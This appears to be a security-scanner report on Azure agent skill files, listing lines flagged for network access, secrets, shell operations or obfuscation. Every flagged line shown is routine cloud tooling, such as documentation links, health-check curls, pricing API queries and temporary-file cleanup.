harness/claude-code/skills/azure-cli/scripts/setup-identity-federation.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 202
trap "rm -f '$tmp'" RETURN - Network accessline 206
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 207
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "audiences": ["api://AzureADTokenExchange"], - Network accessline 208
"issuer": "https://token.actions.githubusercontent.com", - Network accessline 219
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 220
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "subject": "${subject}", - Network accessline 221
"issuer": "https://token.actions.githubusercontent.com",
harness/claude-code/skills/azure-cloud-migrate/SKILL.md
- Network accessline 36
6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r - Network accessline 38
8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-
harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md
- Network accessline 180
- [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/) - Network accessline 181
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 182
- [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices) - Network accessline 183
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md
- Network accessline 165
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 166
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 167
- [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started) - Network accessline 168
- [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)
harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/code-migration.md
harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/global-rules.md
- Network accessline 25
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie - Network accessline 26
- Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the - Network accessline 27
- **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language
harness/claude-code/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md
- Network accessline 32
| Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se - Network accessline 33
|-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi - Network accessline 34
| Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl - Access to secretsline 87
[Credential-related source omitted] - Network accessline 158
- [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 159
- [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots) - Network accessline 160
- [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions) - Network accessline 161
- [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)
harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md
- Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 193
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health" - Network accessline 194
curl -I "https://$FQDN/health" - Network accessline 201
$app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health" - Network accessline 202
Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md
- Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Possible obfuscationline 111
$decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue)) - Network accessline 127
> ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d - Network accessline 157
# Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" - Network accessline 158
FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health - Network accessline 159
echo "App URL: https://$FQDN" - Network accessline 160
curl https://$FQDN/health - Network accessline 167
$FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN" - Network accessline 168
Write-Host "App URL: https://$FQDN" - Network accessline 169
Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head - Network accessline 185
| SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre - Network accessline 187
| Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |
harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md
- Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Dangerous shell operationline 113
trap 'rm -f "$secret_file"' EXIT - Dangerous shell operationline 118
rm -f "$secret_file" - Network accessline 197
set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 198
FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" - - Network accessline 199
curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } - Network accessline 204
$ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head - Network accessline 205
$fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100 - Network accessline 206
Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md
- Network accessline 67
- [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) - Network accessline 68
- [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services) - Network accessline 69
- [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app) - Network accessline 70
- [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)
harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md
- Network accessline 33
### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c - Network accessline 35
- **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide) - Network accessline 37
### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview) - Network accessline 39
- See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
harness/claude-code/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Dangerous shell operationline 102
trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT - Network accessline 236
FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" - Network accessline 237
echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50 - Network accessline 238
curl "https://${FQDN}/actuator/health" - Network accessline 244
$FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}" - Network accessline 245
Write-Host "Application URL: https://${FQDN}" - Network accessline 246
Invoke-WebRequest "https://${FQDN}/actuator/health" - Network accessline 256
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 257
--environment spring-env --resource-group spring-rg --name config-server \ --min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 258
--min-replicas 1 --max-replicas 1 \ --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 259
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 265
az containerapp env java-component config-server-for-spring create --environment spring-env --resource-group spring-rg --name config-server --min-replicas 1 --max-replicas 1 --configuration spring.cloud.config.server.git.uri=https: - Network accessline 266
--environment spring-env --resource-group spring-rg --name config-server ` --min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo - Network accessline 267
--min-replicas 1 --max-replicas 1 ` --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server - Network accessline 268
--configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/code-migration.md
- Network accessline 16
- Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues - Network accessline 18
- **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/global-rules.md
- Network accessline 24
- Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr - Network accessline 25
- Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. N - Network accessline 26
- **Always use the latest supported language runtime** — check [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) for the newest GA version. Never default to older versions
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/lambda-to-functions.md
- Access to secretsline 90
[Credential-related source omitted] - Network accessline 95
- [AWS Lambda vs Azure Functions comparison](https://aka.ms/AWSLambda) - Network accessline 96
- [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/) - Network accessline 97
- [Supported language runtimes](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 98
- [Triggers and bindings overview](https://learn.microsoft.com/en-us/azure/azure-functions/functions-triggers-bindings) - Network accessline 99
- [Functions quickstart JS (azd)](https://github.com/Azure-Samples/functions-quickstart-javascript-azd/tree/main/infra) - Network accessline 100
- [Functions quickstart .NET Event Grid (azd)](https://github.com/Azure-Samples/functions-quickstart-dotnet-azd-eventgrid-blob/tree/main/infra) - Network accessline 172
properties: { // ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functi - Network accessline 173
// ARM resolves system key and handles validation at deployment time endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default - Network accessline 174
endpointUrl: 'https://${functionApp.properties.defaultHostName}/runtime/webhooks/blobs?functionName=${functionName}&code=${listKeys('${functionApp.id}/host/default', '2023-12-01').systemKeys.blobs_extension}'
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/csharp.md
- Network accessline 225
> Full reference: [Azure Functions C# isolated worker guide](https://learn.microsoft.com/en-us/azure/azure-functions/dotnet-isolated-process-guide)
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/java.md
- Network accessline 214
> Full reference: [Azure Functions Java developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-java)
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/javascript.md
- Network accessline 325
> Full reference: [Azure Functions JavaScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node)
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/powershell.md
- Network accessline 221
> Full reference: [Azure Functions PowerShell developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-powershell)
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/python.md
harness/claude-code/skills/azure-cloud-migrate/references/services/functions/runtimes/typescript.md
- Network accessline 119
> Full reference: [Azure Functions TypeScript developer guide](https://learn.microsoft.com/en-us/azure/azure-functions/functions-reference-node?tabs=typescript)
harness/claude-code/skills/azure-compliance/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-compliance/references/azqr-recommendations.md
- Network accessline 171
- [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 172
- [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources) - Network accessline 173
- [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/) - Network accessline 174
- [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)
harness/claude-code/skills/azure-compliance/references/azqr-remediation-patterns.md
- Network accessline 375
- [Azure CLI Reference](https://learn.microsoft.com/cli/azure/) - Network accessline 376
- [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/) - Network accessline 377
- [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)
harness/claude-code/skills/azure-compliance/references/azure-quick-review.md
- Network accessline 154
- [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 155
- [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl) - Network accessline 156
- [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - Network accessline 157
- [Azure Proactive Resiliency Library](https://aka.ms/aprl)
harness/claude-code/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md
- Network accessline 12
import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential()); - Network accessline 14
const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
harness/claude-code/skills/azure-compute/references/retail-prices-api.md
- Network accessline 3
The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed. - Network accessline 8
https://prices.azure.com/api/retail/prices - Network accessline 13
https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 23
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption' - Network accessline 27
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'" - Network accessline 31
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 32
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 39
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption' - Network accessline 43
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'" - Network accessline 47
$filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 48
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 55
GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation' - Network accessline 59
curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'" - Network accessline 63
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 64
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter" - Network accessline 72
GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' - Network accessline 76
curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'" - Network accessline 80
$filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 81
$response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter" - Network accessline 119
{ "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }
harness/claude-code/skills/azure-compute/references/vm-families.md
- Network accessline 5
> **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)
harness/claude-code/skills/azure-compute/references/vm-quotas.md
- Network accessline 91
- Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu - Network accessline 93
- [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)
harness/claude-code/skills/azure-compute/references/vmss-guide.md
- Network accessline 5
> **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi - Network accessline 6
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview - Network accessline 7
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 8
> - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison - Network accessline 62
- Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a - Network accessline 64
- Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 92
- [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes) - Network accessline 93
- [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices) - Network accessline 94
- [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking) - Network accessline 95
- [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)
harness/claude-code/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md
- Network accessline 61
Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us - Network accessline 104
- [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm) - Network accessline 105
- [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm) - Network accessline 106
- [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)
harness/claude-code/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md
harness/claude-code/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md
- Network accessline 51
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview - Network accessline 81
For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot) - Network accessline 82
- [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
harness/claude-code/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md
- Network accessline 33
az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv - Network accessline 39
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}') - Network accessline 47
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01 - Network accessline 76
GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')
harness/claude-code/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md
harness/claude-code/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md
harness/claude-code/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep
- Access to secretsline 139
[Credential-related source omitted]
harness/claude-code/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 14
MY_IP=$(curl -s ifconfig.me)/32 # your current public IP, locked to /32 - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted]
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md
- Network accessline 7
1. **Repo** — accept any of: - `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 8
- `owner/name` (e.g., `myorg/azure-infra`) - Full URL (e.g., `https://github.com/myorg/azure-infra`) - Local checkout path (e.g., `~/source/azure-infra`) — skips clone - Network accessline 9
- Full URL (e.g., `https://github.com/myorg/azure-infra`) - Network accessline 76
> ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md
- Access to secretsline 47
[Credential-related source omitted]
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md
- Access to secretsline 13
[Credential-related source omitted] - Network accessline 14
- **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` - Network accessline 15
- **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, - Network accessline 16
- **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md
- Network accessline 7
| VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o - Network accessline 8
| Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | " - Network accessline 9
| NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md
harness/claude-code/skills/azure-compute/workflows/vm-creator/references/plan-card.md
- Access to secretsline 32
[Credential-related source omitted]
harness/claude-code/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md
- Network accessline 17
## What to fetch (Step 2 — VMSS) - Network accessline 20
https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview - Network accessline 21
https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview - Network accessline 24
## What to fetch (Step 3 — VM family) - Network accessline 27
https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 30
Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - Network accessline 31
- B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi - Network accessline 32
- D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - Network accessline 33
- GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family` - Network accessline 35
For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.
harness/claude-code/skills/azure-compute/workflows/vm-recommender/vm-recommender.md
- Network accessline 56
https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name> - Network accessline 59
